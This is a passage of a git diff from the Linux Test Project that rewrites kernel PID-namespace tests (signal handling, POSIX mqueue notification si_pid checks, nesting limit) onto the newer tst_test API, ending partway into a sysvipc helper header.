else - tst_resm(TPASS, "cinit: user function is called as expected"); - - /* Disable broken flag */ - broken = 0; + last_signo = si->si_signo; + signals++; } -/* - * child_fn() - Inside container - */ -int child_fn(void *arg) +static void child_func(void) { - pid_t pid, ppid; - sigset_t newset; struct sigaction sa; - char buf[5]; + sigset_t newset; + pid_t cpid, ppid; - /* Setup pipe read and write ends */ - pid = getpid(); + cpid = tst_getpid(); ppid = getppid(); - if (pid != CHILD_PID || ppid != PARENT_PID) { - printf("cinit: pidns was not created properly\n"); - exit(1); - } - - /* Setup pipes to communicate with parent */ - close(cinit_parent[0]); - close(parent_cinit[1]); - - /* Block SIGUSR1 signal */ - sigemptyset(&newset); - sigaddset(&newset, SIGUSR1); - if (sigprocmask(SIG_BLOCK, &newset, 0) == -1) { - perror("cinit: sigprocmask() failed"); - exit(1); + if (cpid != 1 || ppid != 0) { + tst_res(TFAIL, "Got unexpected result of cpid=%d ppid=%d", cpid, ppid); + return; } - tst_resm(TINFO, "cinit: blocked SIGUSR1"); - /* Let parent to queue SIGUSR1 in pending */ - if (write(cinit_parent[1], "c:go", 5) != 5) { - perror("cinit: pipe is broken to write"); - exit(1); - } + SAFE_SIGEMPTYSET(&newset); + SAFE_SIGADDSET(&newset, SIGUSR1); + SAFE_SIGPROCMASK(SIG_BLOCK, &newset, 0); - /* Check if parent has queued up SIGUSR1 */ - read(parent_cinit[0], buf, 5); - if (strcmp(buf, "p:go") != 0) { - printf("cinit: parent did not respond!\n"); - exit(1); - } + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* Now redefine handler for SIGUSR1 */ sa.sa_flags = SA_SIGINFO; - sigfillset(&sa.sa_mask); + SAFE_SIGFILLSET(&sa.sa_mask); sa.sa_sigaction = child_signal_handler; - if (sigaction(SIGUSR1, &sa, NULL) == -1) { - perror("cinit: sigaction failed"); - exit(1); - } - - /* Unblock traffic on SIGUSR1 queue */ - tst_resm(TINFO, "cinit: unblocking SIGUSR1"); - sigprocmask(SIG_UNBLOCK, &newset, 0); - - /* Check if new handler is called */ - if (broken == 1) { - printf("cinit: broken flag didn't change\n"); - exit(1); - } - - /* Cleanup and exit */ - close(cinit_parent[1]); - close(parent_cinit[0]); - exit(0); -} - -static void setup(void) -{ - tst_require_root(); - check_newpid(); -} -int main(void) -{ - int status; - char buf[5]; - pid_t cpid; + SAFE_SIGACTION(SIGUSR1, &sa, NULL); - setup(); + SAFE_SIGPROCMASK(SIG_UNBLOCK, &newset, 0); - /* Create pipes for intercommunication */ - if (pipe(parent_cinit) == -1 || pipe(cinit_parent) == -1) { - tst_brkm(TBROK | TERRNO, NULL, "pipe failed"); + if (signals != 1) { + tst_res(TFAIL, "Received %d signals", signals); + return; } - cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL); - if (cpid == -1) { - tst_brkm(TBROK | TERRNO, NULL, "clone failed"); + if (last_signo != SIGUSR1) { + tst_res(TFAIL, "Received %s signal", tst_strsig(last_signo)); + return; } - /* Setup pipe read and write ends */ - close(cinit_parent[1]); - close(parent_cinit[0]); + tst_res(TPASS, "Received SIGUSR1 signal after unblock"); +} - /* Is container ready */ - read(cinit_parent[0], buf, 5); - if (strcmp(buf, "c:go") != 0) { - tst_brkm(TBROK, NULL, "parent: container did not respond!"); +static void run(void) +{ + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; + int pid; + + pid = SAFE_CLONE(&args); + if (!pid) { + child_func(); + return; } - /* Enqueue SIGUSR1 in pending signal queue of container */ - SAFE_KILL(NULL, cpid, SIGUSR1); + TST_CHECKPOINT_WAIT(0); - tst_resm(TINFO, "parent: signalled SIGUSR1 to container"); - if (write(parent_cinit[1], "p:go", 5) != 5) { - tst_brkm(TBROK | TERRNO, NULL, "write failed"); - } - - /* collect exit status of child */ - SAFE_WAIT(NULL, &status); - - if (WIFSIGNALED(status)) { - if (WTERMSIG(status) == SIGUSR1) - tst_resm(TFAIL, - "user function was not called inside cinit"); - else - tst_resm(TBROK, - "cinit was terminated by %d", - WTERMSIG(status)); - } + SAFE_KILL(pid, SIGUSR1); - /* Cleanup and exit */ - close(parent_cinit[1]); - close(cinit_parent[0]); - tst_exit(); + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_PID_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/pidns/pidns30.c b/testcases/kernel/containers/pidns/pidns30.c index 3f82834b..4a8bc5e2 100755 --- a/testcases/kernel/containers/pidns/pidns30.c +++ b/testcases/kernel/containers/pidns/pidns30.c @@ -1,296 +1,121 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) Bull S.A.S. 2008 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* File: pidns30.c -* -* Description: -* This testcase checks if the si_pid is correctly set when a process -* that has registered for notification on a posix mqueue is in a -* descendant namespace wrt the process that sends a message to that posix -* mqueue. -* -* Test Assertion & Strategy: -* Parent Child -* -------------------------------------------------------------------------- -* Create a POSIX mqueue. -* Create a PID namespace container. -* Open that mqueue for reading -* Register for notification when a -* message arrives in that mqueue -* Install a handler for SIGUSR1. -* Write something to the mqueue. -* Inside the handler, check that -* si_pid is set to 0 -* -* Usage: -* pidns30 -* -* History: -* DATE NAME DESCRIPTION -* 01/12/08 Nadia Derbey Creation of this test. -* -* -******************************************************************************/ -#define _GNU_SOURCE 1 -#include -#include -#include -#include -#include -#include -#include -#include "lapi/syscalls.h" -#include "pidns_helper.h" -#include "test.h" - -char *TCID = "pidns30"; -int TST_TOTAL = 1; - -char *mqname = "mq1"; -int result = TFAIL; - -int father_to_child[2]; -int child_to_father[2]; - -#define CHILD_PID 1 -#define PARENT_PID 0 + * Copyright (c) Bull S.A.S. 2008 + * 01/12/08 Nadia Derbey + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ -#define MSG "HOW ARE YOU" -#define MSG_PRIO 1 +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag, register notification on a posix + * mqueue and send a mqueue message from the parent. Then check if signal + * notification contains si_pid of the parent. + */ -#define NO_STEP -1 -#define F_STEP_0 0x00 -#define F_STEP_1 0x01 -#define F_STEP_2 0x02 -#define F_STEP_3 0x03 -#define C_STEP_0 0x10 -#define C_STEP_1 0x11 -#define C_STEP_2 0x12 +#define _GNU_SOURCE +#include +#include +#include "tst_test.h" +#include "tst_safe_posix_ipc.h" +#include "lapi/sched.h" -mqd_t rc = -1; -mqd_t mqd = -1; +#define MQNAME "/LTP_PIDNS30_MQ" -static void remove_pipe(int *fd) -{ - close(fd[0]); - close(fd[1]); -} +static mqd_t mqd = -1; +static siginfo_t info; +static volatile int received; static void remove_mqueue(mqd_t mqd) { - mq_close(mqd); - ltp_syscall(__NR_mq_unlink, mqname); -} + if (mqd != -1) + SAFE_MQ_CLOSE(mqd); -static void cleanup(void) -{ - if (mqd != -1) { - remove_mqueue(mqd); - } - if (rc != -1) { - remove_mqueue(rc); - } - remove_pipe(father_to_child); - remove_pipe(child_to_father); + mq_unlink(MQNAME); } -static void cleanup_child(void) +static void child_signal_handler(LTP_ATTRIBUTE_UNUSED int sig, siginfo_t *si, LTP_ATTRIBUTE_UNUSED void *unused) { - if (mqd != -1) { - ltp_syscall(__NR_mq_notify, mqd, NULL); - } - cleanup(); + received = 1; + memcpy(&info, si, sizeof(info)); } -/* - * child_signal_handler() - to handle SIGUSR1 - * - * XXX (garrcoop): add calls to cleanup_child() -- or should this be handled - * from the libltp signal handler? - */ -static void child_signal_handler(int sig, siginfo_t * si, void *unused) +static void child_func(void) { - char buf[256]; - struct mq_attr attr; - - if (si->si_signo != SIGUSR1) { - printf("received signal = %d unexpectedly\n", si->si_signo); - return; - } - - if (si->si_code != SI_MESGQ) { - printf("expected signal code SI_MESGQ; got %d instead\n", - si->si_code); - return; - } - - if (si->si_pid) { - printf("expected signal originator PID = 0; got %d instead\n", - si->si_pid); - return; - } else { - printf("signal originator PID = 0\n"); - result = TPASS; - } - - /* - * Now read the message - Be silent on errors since this is not the - * test purpose. - */ - rc = mq_getattr(si->si_int, &attr); - if (rc != -1) - mq_receive(si->si_int, buf, attr.mq_msgsize, NULL); -} - -/* - * child_fn() - Inside container - * - * XXX (garrcoop): add more calls to cleanup_child()? - */ -int child_fn(void *arg) -{ - pid_t pid, ppid; + pid_t cpid, ppid; struct sigaction sa; struct sigevent notif; - char buf[5]; + mqd_t mqd_child; - /* Set process id and parent pid */ - pid = getpid(); + cpid = tst_getpid(); ppid = getppid(); - if (pid != CHILD_PID || ppid != PARENT_PID) { - printf("pidns was not created\n"); - return 1; - } - - /* Close the appropriate end of each pipe */ - close(child_to_father[0]); - close(father_to_child[1]); + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); - while (read(father_to_child[0], buf, 1) != 1) - sleep(1); + TST_CHECKPOINT_WAIT(0); - mqd = ltp_syscall(__NR_mq_open, mqname, O_RDONLY, 0, NULL); - if (mqd == -1) { - perror("mq_open failed"); - return 1; - } else - printf("mq_open succeeded\n"); + tst_res(TINFO, "Register notification on posix mqueue"); - /* Register for notification on message arrival */ + mqd_child = SAFE_MQ_OPEN(MQNAME, O_RDONLY, 0, NULL); notif.sigev_notify = SIGEV_SIGNAL; notif.sigev_signo = SIGUSR1; - notif.sigev_value.sival_int = mqd; - if (ltp_syscall(__NR_mq_notify, mqd, ¬if) == -1) { - perror("mq_notify failed"); - return 1; - } else - printf("successfully registered for notification\n"); + notif.sigev_value.sival_int = mqd_child; + + SAFE_MQ_NOTIFY(mqd_child, ¬if); - /* Define handler for SIGUSR1 */ sa.sa_flags = SA_SIGINFO; - sigemptyset(&sa.sa_mask); + SAFE_SIGEMPTYSET(&sa.sa_mask); sa.sa_sigaction = child_signal_handler; - if (sigaction(SIGUSR1, &sa, NULL) == -1) { - perror("sigaction failed"); - return 1; - } else - printf("successfully registered handler for SIGUSR1\n"); - - /* Ask parent to send a message to the mqueue */ - if (write(child_to_father[1], "c:ok", 5) != 5) { - perror("write failed"); - return 1; - } + SAFE_SIGACTION(SIGUSR1, &sa, NULL); - sleep(3); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* Has parent sent a message? */ - read(father_to_child[0], buf, 5); - if (strcmp(buf, "f:ok") != 0) { - printf("parent did not send the message!\n"); - return 1; - } - printf("parent is done - cleaning up\n"); - - cleanup_child(); + if (received) + tst_res(TPASS, "Signal notification has been received"); + else + tst_res(TFAIL, "Signal notification has not been received"); - exit(0); + TST_EXP_EQ_LI(info.si_signo, SIGUSR1); + TST_EXP_EQ_LI(info.si_code, SI_MESGQ); + TST_EXP_EQ_LI(info.si_pid, 0); } -static void setup(void) +static void cleanup(void) { - tst_require_root(); - check_newpid(); + remove_mqueue(mqd); } -int main(void) +static void run(void) { - int status; - char buf[5]; - pid_t cpid; + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; - setup(); + remove_mqueue(mqd); + received = 0; - if (pipe(child_to_father) == -1 || pipe(father_to_child) == -1) { - tst_brkm(TBROK | TERRNO, cleanup, "pipe failed"); + if (!SAFE_CLONE(&args)) { + child_func(); + return; } - ltp_syscall(__NR_mq_unlink, mqname); - - /* container creation on PID namespace */ - cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL); - if (cpid == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - mqd = - ltp_syscall(__NR_mq_open, mqname, O_RDWR | O_CREAT | O_EXCL, 0777, - NULL); - if (mqd == -1) - tst_brkm(TBROK | TERRNO, cleanup, "mq_open failed"); - else - tst_resm(TINFO, "successfully created posix mqueue"); - - if (write(father_to_child[1], buf, 1) != 1) - tst_brkm(TBROK | TERRNO, cleanup, "write failed"); + mqd = SAFE_MQ_OPEN(MQNAME, O_RDWR | O_CREAT | O_EXCL, 0777, 0); - /* Close the appropriate end of each pipe */ - close(child_to_father[1]); - close(father_to_child[0]); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* Is container ready */ - read(child_to_father[0], buf, 5); - if (strcmp(buf, "c:ok") != 0) - tst_brkm(TBROK, cleanup, - "container did not respond as expected!"); - - rc = mq_send(mqd, MSG, strlen(MSG), MSG_PRIO); - if (rc == -1) - tst_brkm(TBROK | TERRNO, cleanup, "mq_send failed"); - else - tst_resm(TINFO, "mq_send succeeded"); + tst_res(TINFO, "Send mqueue message"); - /* Tell the child the message has been sent */ - if (write(father_to_child[1], "f:ok", 5) != 5) - tst_brkm(TBROK | TERRNO, cleanup, "write failed"); + SAFE_MQ_SEND(mqd, "pippo", 5, 1); - /* Wait for child to finish */ - if (wait(&status) == -1) - tst_resm(TBROK | TERRNO, "wait failed"); - - cleanup(); - - tst_exit(); + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .cleanup = cleanup, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns31.c b/testcases/kernel/containers/pidns/pidns31.c index fb8035d9..7312f8bd 100755 --- a/testcases/kernel/containers/pidns/pidns31.c +++ b/testcases/kernel/containers/pidns/pidns31.c @@ -1,330 +1,118 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) Bull S.A.S. 2008 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -*************************************************************************** -* File: pidns31.c -* -* Description: -* This testcase checks if the si_pid is correctly set when a process -* that has registered for notification on a posix mqueue is in an -* ancestor namespace wrt the process that sends a message to that posix -* mqueue. -* -* Test Assertion & Strategy: -* Parent Child -* -------------------------------------------------------------------------- -* Create a POSIX mqueue. -* Create a PID namespace container. -* Register for notification when a -* message arrives in that mqueue -* Install a handler for SIGUSR1. -* Open that mqueue for writing -* Write something to the mqueue. -* Inside the handler, check that -* si_pid is set to the child's pid -* -* Usage: -* pidns31 -* -* History: -* DATE NAME DESCRIPTION -* 04/12/08 Nadia Derbey Creation of this test. -* -* -******************************************************************************/ -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif -#include -#include -#include -#include -#include -#include -#include -#include "lapi/syscalls.h" -#include "pidns_helper.h" -#include "test.h" - -char *TCID = "pidns31"; -int TST_TOTAL = 1; - -char *mqname = "mq1"; -int result = TFAIL; - -int father_to_child[2]; - -#define CHILD_PID 1 -#define PARENT_PID 0 + * Copyright (c) Bull S.A.S. 2008 + * 01/12/08 Nadia Derbey + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ -#define MSG "HOW ARE YOU" -#define MSG_PRIO 1 +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag, register notification on a posix + * mqueue and send a mqueue message from the child. Then check if signal + * notification contains si_pid of the child. + */ -#define NO_STEP -1 -#define F_STEP_0 0x00 -#define F_STEP_1 0x01 -#define F_STEP_2 0x02 -#define F_STEP_3 0x03 -#define C_STEP_0 0x10 -#define C_STEP_1 0x11 +#define _GNU_SOURCE 1 +#include +#include +#include "tst_test.h" +#include "tst_safe_posix_ipc.h" +#include "lapi/sched.h" -struct notify_info { - mqd_t mqd; - pid_t pid; -}; +#define MQNAME "/LTP_PIDNS30_MQ" -static void remove_pipe(int *fd) -{ - close(fd[0]); - close(fd[1]); -} +static mqd_t mqd = -1; +static volatile int received; +static siginfo_t info; static void remove_mqueue(mqd_t mqd) { - mq_close(mqd); - ltp_syscall(__NR_mq_unlink, mqname); -} + if (mqd != -1) + SAFE_MQ_CLOSE(mqd); -/* - * steps F_STEP_XX : called from main - * steps C_STEP_XX : called from child_fn - */ -static void cleanup_resources(int step, mqd_t mqd) -{ - switch (step) { - case C_STEP_1: - close(father_to_child[0]); - /* fall through */ - case C_STEP_0: - mq_close(mqd); - break; - - case F_STEP_3: - remove_mqueue(mqd); - close(father_to_child[1]); - break; - - case F_STEP_2: - ltp_syscall(__NR_mq_notify, mqd, NULL); - /* fall through */ - case F_STEP_1: - remove_mqueue(mqd); - /* fall through */ - case F_STEP_0: - remove_pipe(father_to_child); - break; - default: - tst_resm(TWARN, "Unknown code - no resource removed."); - break; - } + mq_unlink(MQNAME); } -/* - * cleanup_mqueue() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * step == -1 means no local resource to remove. - */ -void cleanup_mqueue(int result, int step, mqd_t mqd) +static void signal_handler(LTP_ATTRIBUTE_UNUSED int sig, siginfo_t *si, LTP_ATTRIBUTE_UNUSED void *unused) { - if (step != NO_STEP) - cleanup_resources(step, mqd); - - tst_exit(); + memcpy(&info, si, sizeof(info)); + received++; } -/* - * child_fn() - Inside container - */ -int child_fn(void *arg) +static void child_func(void) { - pid_t pid, ppid; - mqd_t mqd; - char buf[5]; + pid_t cpid, ppid; + mqd_t mqd_child; - /* Set process id and parent pid */ - pid = getpid(); + cpid = tst_getpid(); ppid = getppid(); - if (pid != CHILD_PID || ppid != PARENT_PID) { - tst_resm(TBROK, "cinit: pidns is not created"); - cleanup_mqueue(TBROK, NO_STEP, 0); - } - - /* Close the appropriate end of pipe */ - close(father_to_child[1]); - - /* Is parent ready to receive a message? */ - read(father_to_child[0], buf, 5); - if (strcmp(buf, "f:ok")) { - tst_resm(TBROK, "cinit: parent did not send the message!"); - cleanup_mqueue(TBROK, NO_STEP, 0); - } - tst_resm(TINFO, "cinit: my father is ready to receive a message"); - - mqd = ltp_syscall(__NR_mq_open, mqname, O_WRONLY, 0, NULL); - if (mqd == (mqd_t) - 1) { - tst_resm(TBROK, "cinit: mq_open() failed (%s)", - strerror(errno)); - cleanup_mqueue(TBROK, NO_STEP, 0); - } - tst_resm(TINFO, "cinit: mq_open succeeded"); - - if (mq_send(mqd, MSG, strlen(MSG), MSG_PRIO) == (mqd_t) - 1) { - tst_resm(TBROK, "cinit: mq_send() failed (%s)", - strerror(errno)); - cleanup_mqueue(TBROK, C_STEP_0, mqd); - } - tst_resm(TINFO, "cinit: mq_send() succeeded"); - - /* Cleanup and exit */ - cleanup_resources(C_STEP_1, mqd); - exit(0); -} + TST_EXP_EQ_LI(cpid, 1); + TST_EXP_EQ_LI(ppid, 0); -/* - * father_signal_handler() - */ -static void father_signal_handler(int sig, siginfo_t * si, void *unused) -{ - char buf[256]; - struct mq_attr attr; - struct notify_info *info; + TST_CHECKPOINT_WAIT(0); - if (si->si_signo != SIGUSR1) { - tst_resm(TBROK, "father: received %s unexpectedly", - strsignal(si->si_signo)); - return; - } - - if (si->si_code != SI_MESGQ) { - tst_resm(TBROK, "father: expected signal code SI_MESGQ - " - "Got %d", si->si_code); - return; - } - - if (!si->si_ptr) { - tst_resm(TBROK, "father: expected si_ptr - Got NULL"); - return; - } - - info = (struct notify_info *)si->si_ptr; - - if (si->si_pid != info->pid) { - tst_resm(TFAIL, - "father: expected signal originator PID = %d - Got %d", - info->pid, si->si_pid); - return; - } + tst_res(TINFO, "Send mqueue message from child"); - tst_resm(TPASS, "father: signal originator PID = %d", si->si_pid); - result = TPASS; + mqd_child = SAFE_MQ_OPEN(MQNAME, O_WRONLY, 0, NULL); + SAFE_MQ_SEND(mqd_child, "pippo", 5, 1); - /* - * Now read the message - Be silent on errors since this is not the - * test purpose. - */ - if (!mq_getattr(info->mqd, &attr)) - mq_receive(info->mqd, buf, attr.mq_msgsize, NULL); + TST_CHECKPOINT_WAKE(0); } -static void setup(void) +static void cleanup(void) { - tst_require_root(); - check_newpid(); + remove_mqueue(mqd); } -/*********************************************************************** -* M A I N -***********************************************************************/ - -int main(void) +static void run(void) { pid_t cpid; - mqd_t mqd; - struct sigevent notif; struct sigaction sa; - int status; - struct notify_info info; + struct sigevent notif; + const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, + }; - setup(); + remove_mqueue(mqd); + received = 0; - if (pipe(father_to_child) == -1) { - tst_resm(TBROK, "parent: pipe() failed. aborting!"); - cleanup_mqueue(TBROK, NO_STEP, 0); + cpid = SAFE_CLONE(&args); + if (!cpid) { + child_func(); + return; } - ltp_syscall(__NR_mq_unlink, mqname); - mqd = - ltp_syscall(__NR_mq_open, mqname, O_RDWR | O_CREAT | O_EXCL, 0777, - NULL); - if (mqd == (mqd_t) - 1) { - tst_resm(TBROK, "parent: mq_open() failed (%s)", - strerror(errno)); - cleanup_mqueue(TBROK, F_STEP_0, 0); - } - tst_resm(TINFO, "parent: successfully created posix mqueue"); + tst_res(TINFO, "Register notification on posix mqueue"); - /* container creation on PID namespace */ - cpid = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, child_fn, NULL); - if (cpid < 0) { - tst_resm(TBROK, "parent: clone() failed(%s)", strerror(errno)); - cleanup_mqueue(TBROK, F_STEP_1, mqd); - } - tst_resm(TINFO, "parent: successfully created child (pid = %d)", cpid); + mqd = SAFE_MQ_OPEN(MQNAME, O_RDWR | O_CREAT | O_EXCL, 0777, NULL); - /* Register for notification on message arrival */ notif.sigev_notify = SIGEV_SIGNAL; notif.sigev_signo = SIGUSR1; - info.mqd = mqd; - info.pid = cpid; - notif.sigev_value.sival_ptr = &info; - if (ltp_syscall(__NR_mq_notify, mqd, ¬if) == (mqd_t) -1) { - tst_resm(TBROK, "parent: mq_notify() failed (%s)", - strerror(errno)); - cleanup_mqueue(TBROK, F_STEP_1, mqd); - } - tst_resm(TINFO, "parent: successfully registered for notification"); - - /* Define handler for SIGUSR1 */ - sa.sa_flags = SA_SIGINFO; - sigemptyset(&sa.sa_mask); - sa.sa_sigaction = father_signal_handler; - if (sigaction(SIGUSR1, &sa, NULL) == -1) { - tst_resm(TBROK, "parent: sigaction() failed(%s)", - strerror(errno)); - cleanup_mqueue(TBROK, F_STEP_2, mqd); - } - tst_resm(TINFO, "parent: successfully registered handler for SIGUSR1"); - /* Close the appropriate end of pipe */ - close(father_to_child[0]); - - /* Tell the child a message can be sent */ - if (write(father_to_child[1], "f:ok", 5) != 5) { - tst_resm(TBROK, "parent: pipe is broken(%s)", strerror(errno)); - cleanup_mqueue(TBROK, F_STEP_2, mqd); - } + SAFE_MQ_NOTIFY(mqd, ¬if); - sleep(3); + sa.sa_flags = SA_SIGINFO; + SAFE_SIGEMPTYSET(&sa.sa_mask); + sa.sa_sigaction = signal_handler; + SAFE_SIGACTION(SIGUSR1, &sa, NULL); - /* Wait for child to finish */ - if (wait(&status) == -1) { - tst_resm(TBROK, "parent: wait() failed(%s)", strerror(errno)); - cleanup_mqueue(TBROK, F_STEP_1, mqd); - } + TST_CHECKPOINT_WAKE_AND_WAIT(0); - cleanup_mqueue(result, F_STEP_3, mqd); + tst_reap_children(); - tst_exit(); + TST_EXP_EQ_LI(received, 1); + TST_EXP_EQ_LI(info.si_signo, SIGUSR1); + TST_EXP_EQ_LI(info.si_code, SI_MESGQ); + TST_EXP_EQ_LI(info.si_pid, cpid); } + +static struct tst_test test = { + .test_all = run, + .cleanup = cleanup, + .forks_child = 1, + .needs_root = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/containers/pidns/pidns32.c b/testcases/kernel/containers/pidns/pidns32.c index 316c5d19..0738369b 100755 --- a/testcases/kernel/containers/pidns/pidns32.c +++ b/testcases/kernel/containers/pidns/pidns32.c @@ -1,101 +1,72 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) Huawei Technologies Co., Ltd., 2015 - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. + * Copyright (C) 2023 SUSE LLC Andrea Cervesato */ -/* - * Verify that: - * The kernel imposes a limit of 32 nested levels of pid namespaces. +/*\ + * [Description] + * + * Clone a process with CLONE_NEWPID flag and check for the maxium amount of + * nested containers. */ #define _GNU_SOURCE -#include -#include -#include -#include -#include -#include -#include -#include "pidns_helper.h" -#include "test.h" +#include +#include "tst_test.h" +#include "tst_atomic.h" +#include "lapi/sched.h" #define MAXNEST 32 -char *TCID = "pidns32"; -int TST_TOTAL = 1; - -static void setup(void) -{ - tst_require_root(); - check_newpid(); - tst_tmpdir(); -} +static const struct tst_clone_args args = { + .flags = CLONE_NEWPID, + .exit_signal = SIGCHLD, +}; +static int *level; -static void cleanup(void) +static pid_t child_func(void) { - tst_rmdir(); -} + pid_t cpid = 0; -static int child_fn1(void *arg) -{ - pid_t cpid1; - long level = (long)arg; - int status; + if (tst_atomic_inc(level) == MAXNEST) + return cpid; - if (level == MAXNEST) - return 0; - cpid1 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, - (void *)child_fn1, (void *)(level + 1)); - if (cpid1 < 0) { - printf("level %ld:unexpected error: (%d) %s\n", - level, errno, strerror(errno)); - return 1; + cpid = SAFE_CLONE(&args); + if (!cpid) { + child_func(); + return cpid; } - if (waitpid(cpid1, &status, 0) == -1) - return 1; - if (WIFEXITED(status) && WEXITSTATUS(status) != 0) { - printf("child exited abnormally\n"); - return 1; - } else if (WIFSIGNALED(status)) { - printf("child was killed with signal = %d", WTERMSIG(status)); - return 1; - } - return 0; + tst_reap_children(); + + return cpid; } -static void test_max_nest(void) +static void setup(void) { - pid_t cpid1; - - cpid1 = ltp_clone_quick(CLONE_NEWPID | SIGCHLD, - (void *)child_fn1, (void *)1); - if (cpid1 < 0) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); - - tst_record_childstatus(cleanup, cpid1); + level = SAFE_MMAP(NULL, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); } -int main(int argc, char *argv[]) +static void cleanup(void) { - int lc; + SAFE_MUNMAP(level, sizeof(int)); +} - setup(); - tst_parse_opts(argc, argv, NULL, NULL); +static void run(void) +{ + *level = 0; - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - test_max_nest(); - } + if (!child_func()) + return; - cleanup(); - tst_exit(); + TST_EXP_EQ_LI(*level, MAXNEST); } + +static struct tst_test test = { + .test_all = run, + .needs_root = 1, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, +}; diff --git a/testcases/kernel/containers/sysvipc/Makefile b/testcases/kernel/containers/sysvipc/Makefile index 00b537f6..426fe529 100755 --- a/testcases/kernel/containers/sysvipc/Makefile +++ b/testcases/kernel/containers/sysvipc/Makefile @@ -1,28 +1,8 @@ -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2007 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) International Business Machines Corp., 2007 +# Copyright (C) 2021 SUSE LLC Andrea Cervesato top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc - -LDLIBS := -lclone $(LDLIBS) - include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/sysvipc/common.h b/testcases/kernel/containers/sysvipc/common.h new file mode 100644 index 00000000..180cf9bd --- /dev/null +++ b/testcases/kernel/containers/sysvipc/common.h @@ -0,0 +1,97 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2007 + * Rishikesh K Rajak + * Copyright (C) 2022 SUSE LLC Andrea Cervesato + */ + +#ifndef COMMON_H +#define COMMON_H + +#include +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "lapi/sched.h" + +enum { + T_CLONE, + T_UNSHARE, + T_NONE, +}; + +static inline int get_clone_unshare_enum(const char *str_op) +{ + int use_clone; + + use_clone = T_NONE; + + if (!str_op || !strcmp(str_op, "none")) + use_clone = T_NONE; + else if (!strcmp(str_op, "clone")) + use_clone = T_CLONE; + else if (!strcmp(str_op, "unshare")) + use_clone = T_UNSHARE; + else + tst_brk(TBROK, "Test execution mode "); + + return use_clone; +} + +static void clone_test(unsigned long clone_flags, void (*fn1)()) +{ + const struct tst_clone_args clone_args = { + .flags = clone_flags, + .exit_signal = SIGCHLD, + }; + int pid; + + pid = SAFE_CLONE(&clone_args); + if (!pid) { + fn1(); + exit(0); + } +} + +static void unshare_test(unsigned long clone_flags, void (*fn1)()) +{ + int 